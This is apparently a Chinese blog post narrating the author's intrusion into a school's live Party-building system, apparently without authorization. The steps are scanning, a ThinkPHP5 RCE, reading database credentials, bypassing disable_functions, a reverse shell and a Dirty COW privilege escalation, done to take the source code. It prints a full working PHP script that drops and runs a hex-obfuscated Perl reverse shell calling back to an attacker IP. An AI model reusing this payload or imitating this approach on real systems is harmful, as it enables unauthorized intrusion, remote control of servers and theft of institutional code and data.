从getshell到提权
一、起因
学校推出新的党建系统,之前党建系统还参与开发,后来因为一些原因没有开发,主要想看看这届工作室的学弟、学妹代码水平,把源码撸下来审计一下,工作室用git开发的,记着上一篇文章是通过Githack把源码一把梭,结果这次再用Githack时撸不下来了,就有了下文了。
二、信息搜集
通过御剑扫到phpinfo.php页面。
得到网站根目录:/www/wwwroot/xxx/xxx/public
允许访问远程url:allow_url_fopen On
disable_functions:passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
还扫到一个/admin.php文件,如下,发现是FastAdmin开发的
三、RCE
通过查阅资料发现:FastAdmin – 基于ThinkPHP5和Bootstrap的极速后台开发框架,这就联想到最近爆出的tp5的rce洞,直接找Payload直接打。
读取数据库密码,数据库能外连,但是用户不是root,不能udf提权这条提权的路就放弃了:
四、反弹shell
因为禁用了好多执行命令的函数,导致大马、菜刀的部分功能都不能使,看是否能绕过disable_functions执行命令,查阅资料发现pcntl_exec()函数没禁用而且服务器支持这个函数:
反弹shell的payload:
<?php
/*******************************
*查看phpinfo编译参数--enable-pcntl
*作者 Spider
*nc -vvlp 443
********************************/
$ip = 'xx.xx.xx.xx';
$port = '443';
$file = '/tmp/bc.pl';
header("content-Type: text/html; charset=gb2312");
if(function_exists('pcntl_exec')) {
$data = "x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx20x2dx77x0dx0ax23x0dx0a".
"x0dx0ax75x73x65x20x73x74x72x69x63x74x3bx20x20x20x20x0dx0ax75x73x65x20".
"x53x6fx63x6bx65x74x3bx0dx0ax75x73x65x20x49x4fx3ax3ax48x61x6ex64x6cx65".
"x3bx0dx0ax0dx0ax6dx79x20x24x72x65x6dx6fx74x65x5fx69x70x20x3dx20x27".$ip.
"x27x3bx0dx0ax6dx79x20x24x72x65x6dx6fx74x65x5fx70x6fx72x74x20x3dx20x27".$port.
"x27x3bx0dx0ax0dx0ax6dx79x20x24x70x72x6fx74x6fx20x3dx20x67x65x74x70x72".
"x6fx74x6fx62x79x6ex61x6dx65x28x22x74x63x70x22x29x3bx0dx0ax6dx79x20x24".
"x70x61x63x6bx5fx61x64x64x72x20x3dx20x73x6fx63x6bx61x64x64x72x5fx69x6e".
"x28x24x72x65x6dx6fx74x65x5fx70x6fx72x74x2cx20x69x6ex65x74x5fx61x74x6f".
"x6ex28x24x72x65x6dx6fx74x65x5fx69x70x29x29x3bx0dx0ax6dx79x20x24x73x68".
"x65x6cx6cx20x3dx20x27x2fx62x69x6ex2fx73x68x20x2dx69x27x3bx0dx0ax73x6f".
"x63x6bx65x74x28x53x4fx43x4bx2cx20x41x46x5fx49x4ex45x54x2cx20x53x4fx43".
"x4bx5fx53x54x52x45x41x4dx2cx20x24x70x72x6fx74x6fx29x3bx0dx0ax53x54x44".
"x4fx55x54x2dx3ex61x75x74x6fx66x6cx75x73x68x28x31x29x3bx0dx0ax53x4fx43".
"x4bx2dx3ex61x75x74x6fx66x6cx75x73x68x28x31x29x3bx0dx0ax63x6fx6ex6ex65".
"x63x74x28x53x4fx43x4bx2cx24x70x61x63x6bx5fx61x64x64x72x29x20x6fx72x20".
"x64x69x65x20x22x63x61x6ex20x6ex6fx74x20x63x6fx6ex6ex65x63x74x3ax24x21".
"x22x3bx0dx0ax6fx70x65x6ex20x53x54x44x49x4ex2cx20x22x3cx26x53x4fx43x4b".
"x22x3bx0dx0ax6fx70x65x6ex20x53x54x44x4fx55x54x2cx20x22x3ex26x53x4fx43".
"x4bx22x3bx0dx0ax6fx70x65x6ex20x53x54x44x45x52x52x2cx20x22x3ex26x53x4f".
"x43x4bx22x3bx0dx0ax73x79x73x74x65x6dx28x24x73x68x65x6cx6cx29x3bx0dx0a".
"x63x6cx6fx73x65x20x53x4fx43x4bx3bx0dx0ax65x78x69x74x20x30x3bx0a";
$fp = fopen($file,'w');
$key = fputs($fp,$data);
fclose($fp);
if(!$key) exit('写入'.$file.'失败');
chmod($file,0777);
pcntl_exec($file);
unlink($file);
} else {
echo '不支持pcntl扩展';
}
?>
将反弹shell的payload写入服务器上时,通过浏览器上传这么长的代码就会上传内容不全,上面提到allow_url_fopen On开启,可以用file_get_contents()函数访问远程代码,将payload上传到我们服务器上,通过如下代码写入服务器中。
访问a.php,本地监听443端口得到shell
直接把源码打包撸下来。
五、提权
a.弱口令
弹回来的shell权限是www,查看端口:
发现9999端口开着liunx宝塔面板,直接试试默认口令、数据库的密码都登陆不进去,查了些宝塔面板提权也没找到好的案例,所以这条路放弃了。
b.劫持PATH
利用suid提权,发现一个ksu命令,尴尬的是分析好久这个命令,并没有向下面文章写的setuid(0)提权的代码,提权失败:
参考这篇文章
c.SUID
情况都试了,也失败了。
参考这篇文章
d.fakesu
尴尬的发现,www用户是nologin用户,不存在自己的家目录,更没有.bash_profile这个文件,就不能劫持命令了,这条路也失败了。其他也找了第三方应用比如gitlab,pgsql什么的,都试了试没成功。
参考这篇文章
e.脏牛
看了下内核,是centos 7的。本地装了一个和它版本一样的系统,本地复现成功,将编译好的代码传到服务器上,最终提权成功。
f.linux后门
代码撸下来,有空对代码做下审计再发文章。
最后希望大佬们能讨论下,Linux提权还有什么好的方法吗,集思广益?